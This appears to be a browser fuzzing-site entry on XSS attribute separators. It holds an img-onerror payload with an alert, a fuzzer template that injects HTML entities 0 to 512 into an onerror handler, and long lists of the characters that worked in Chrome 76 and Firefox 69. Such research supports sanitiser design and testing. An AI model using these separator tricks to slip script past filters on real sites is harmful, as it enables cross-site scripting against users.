Valid attribute separators

<img id=&#257; src=x onerror=&#257;;alert`1`;>

By
skeptic_fx 0 Seen 46 times
Tags
xss separator fuzz
Run this test now.

Results


Tested on
Chrome - 76 - Mac OS X
Fuzz data
$
0
1
2
3
4
5
6
7
8
9
;
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
_
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
ƒ
ˆ
Š
Œ
Ž
š
œ
ž
Ÿ
 
ª
µ
º
À
Á
Â
Ã
Ä
Å
Æ
Ç
È
É
Ê
Ë
Ì
Í
Î
Ï
Ð
Ñ
Ò
Ó
Ô
Õ
Ö
Ø
Ù
Ú
Û
Ü
Ý
Þ
ß
à
á
â
ã
ä
å
æ
ç
è
é
ê
ë
ì
í
î
ï
ð
ñ
ò
ó
ô
õ
ö
ø
ù
ú
û
ü
ý
þ
ÿ
Ā
ā
Ă
ă
Ą
ą
Ć
ć
Ĉ
ĉ
Ċ
ċ
Č
č
Ď
ď
Đ
đ
Ē
ē
Ĕ
ĕ
Ė
ė
Ę
ę
Ě
ě
Ĝ
ĝ
Ğ
ğ
Ġ
ġ
Ģ
ģ
Ĥ
ĥ
Ħ
ħ
Ĩ
ĩ
Ī
ī
Ĭ
ĭ
Į
į
İ
ı
IJ
ij
Ĵ
ĵ
Ķ
ķ
ĸ
Ĺ
ĺ
Ļ
ļ
Ľ
ľ
Ŀ
ŀ
Ł
ł
Ń
ń
Ņ
ņ
Ň
ň
ʼn
Ŋ
ŋ
Ō
ō
Ŏ
ŏ
Ő
ő
Ŕ
ŕ
Ŗ
ŗ
Ř
ř
Ś
ś
Ŝ
ŝ
Ş
ş
Ţ
ţ
Ť
ť
Ŧ
ŧ
Ũ
ũ
Ū
ū
Ŭ
ŭ
Ů
ů
Ű
ű
Ų
ų
Ŵ
ŵ
Ŷ
ŷ
Ź
ź
Ż
ż
ſ
ƀ
Ɓ
Ƃ
ƃ
Ƅ
ƅ
Ɔ
Ƈ
ƈ
Ɖ
Ɗ
Ƌ
ƌ
ƍ
Ǝ
Ə
Ɛ
Ƒ
Ɠ
Ɣ
ƕ
Ɩ
Ɨ
Ƙ
ƙ
ƚ
ƛ
Ɯ
Ɲ
ƞ
Ɵ
Ơ
ơ
Ƣ
ƣ
Ƥ
ƥ
Ʀ
Ƨ
ƨ
Ʃ
ƪ
ƫ
Ƭ
ƭ
Ʈ
Ư
ư
Ʊ
Ʋ
Ƴ
ƴ
Ƶ
ƶ
Ʒ
Ƹ
ƹ
ƺ
ƻ
Ƽ
ƽ
ƾ
ƿ
ǀ
ǁ
ǂ
ǃ
DŽ
Dž
dž
LJ
Lj
lj
NJ
Nj
nj
Ǎ
ǎ
Ǐ
ǐ
Ǒ
ǒ
Ǔ
ǔ
Ǖ
ǖ
Ǘ
ǘ
Ǚ
ǚ
Ǜ
ǜ
ǝ
Ǟ
ǟ
Ǡ
ǡ
Ǣ
ǣ
Ǥ
ǥ
Ǧ
ǧ
Ǩ
ǩ
Ǫ
ǫ
Ǭ
ǭ
Ǯ
ǯ
ǰ
DZ
Dz
dz
Ǵ
ǵ
Ƕ
Ƿ
Ǹ
ǹ
Ǻ
ǻ
Ǽ
ǽ
Ǿ
ǿ
Ȁ

Tested on
Firefox - 69 - Mac OS X
Fuzz data
$
0
1
2
3
4
5
6
7
8
9
;
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
_
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
ƒ
ˆ
Š
Œ
Ž
š
œ
ž
Ÿ
 
ª
µ
º
À
Á
Â
Ã
Ä
Å
Æ
Ç
È
É
Ê
Ë
Ì
Í
Î
Ï
Ð
Ñ
Ò
Ó
Ô
Õ
Ö
Ø
Ù
Ú
Û
Ü
Ý
Þ
ß
à
á
â
ã
ä
å
æ
ç
è
é
ê
ë
ì
í
î
ï
ð
ñ
ò
ó
ô
õ
ö
ø
ù
ú
û
ü
ý
þ
ÿ
Ā
ā
Ă
ă
Ą
ą
Ć
ć
Ĉ
ĉ
Ċ
ċ
Č
č
Ď
ď
Đ
đ
Ē
ē
Ĕ
ĕ
Ė
ė
Ę
ę
Ě
ě
Ĝ
ĝ
Ğ
ğ
Ġ
ġ
Ģ
ģ
Ĥ
ĥ
Ħ
ħ
Ĩ
ĩ
Ī
ī
Ĭ
ĭ
Į
į
İ
ı
IJ
ij
Ĵ
ĵ
Ķ
ķ
ĸ
Ĺ
ĺ
Ļ
ļ
Ľ
ľ
Ŀ
ŀ
Ł
ł
Ń
ń
Ņ
ņ
Ň
ň
ʼn
Ŋ
ŋ
Ō
ō
Ŏ
ŏ
Ő
ő
Ŕ
ŕ
Ŗ
ŗ
Ř
ř
Ś
ś
Ŝ
ŝ
Ş
ş
Ţ
ţ
Ť
ť
Ŧ
ŧ
Ũ
ũ
Ū
ū
Ŭ
ŭ
Ů
ů
Ű
ű
Ų
ų
Ŵ
ŵ
Ŷ
ŷ
Ź
ź
Ż
ż
ſ
ƀ
Ɓ
Ƃ
ƃ
Ƅ
ƅ
Ɔ
Ƈ
ƈ
Ɖ
Ɗ
Ƌ
ƌ
ƍ
Ǝ
Ə
Ɛ
Ƒ
Ɠ
Ɣ
ƕ
Ɩ
Ɨ
Ƙ
ƙ
ƚ
ƛ
Ɯ
Ɲ
ƞ
Ɵ
Ơ
ơ
Ƣ
ƣ
Ƥ
ƥ
Ʀ
Ƨ
ƨ
Ʃ
ƪ
ƫ
Ƭ
ƭ
Ʈ
Ư
ư
Ʊ
Ʋ
Ƴ
ƴ
Ƶ
ƶ
Ʒ
Ƹ
ƹ
ƺ
ƻ
Ƽ
ƽ
ƾ
ƿ
ǀ
ǁ
ǂ
ǃ
DŽ
Dž
dž
LJ
Lj
lj
NJ
Nj
nj
Ǎ
ǎ
Ǐ
ǐ
Ǒ
ǒ
Ǔ
ǔ
Ǖ
ǖ
Ǘ
ǘ
Ǚ
ǚ
Ǜ
ǜ
ǝ
Ǟ
ǟ
Ǡ
ǡ
Ǣ
ǣ
Ǥ
ǥ
Ǧ
ǧ
Ǩ
ǩ
Ǫ
ǫ
Ǭ
ǭ
Ǯ
ǯ
ǰ
DZ
Dz
dz
Ǵ
ǵ
Ƕ
Ƿ
Ǹ
ǹ
Ǻ
ǻ
Ǽ
ǽ
Ǿ
ǿ
Ȁ

User Script (FUZZER)

					


<img id=***DS_ATTRIBUTES*** src=x onerror=***DS_ATTRIBUTES***;addResult('***DS_ATTRIBUTES***');>

					
				

Fuzz Data (FUZZER)

					
var DS_ATTRIBUTES = [];
for(var i=0; i<=512; i++){
    DS_ATTRIBUTES.push("&#"+i+";");
}